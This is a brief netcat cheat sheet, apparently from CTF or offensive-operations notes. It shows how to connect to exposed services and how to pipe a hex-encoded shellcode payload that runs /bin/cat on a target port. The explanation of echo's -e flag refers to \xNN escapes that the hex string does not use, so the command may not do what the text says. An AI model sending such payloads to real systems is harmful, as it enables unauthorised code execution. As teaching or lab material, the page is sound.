NETCAT
CONNECTING TO EXPOSED SERVICES
root@oco:~$ nc {targetIP/domain} {targetPort}
SSH-2.0-OpenSSH_8.4p1 Debian-3
* target port examples are
- SSH (22)
- FTP (21)
PASSING DATA TO EXPOSED SERVICES
root@oco:~$ echo -n -e "6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05" | nc {targetIP} {targetPort}
...
* the -n tells echo not to append a newline (\n) at the end of the output
- without the -n, echo would normally end its output with a newline character,
which might be undesired
* the -e tells echo to interpret escape sequences like \n, \t, \xNN, etc.,
within the string.
- without -e, echo would treat backslashes literally, not as escapes.
Last updated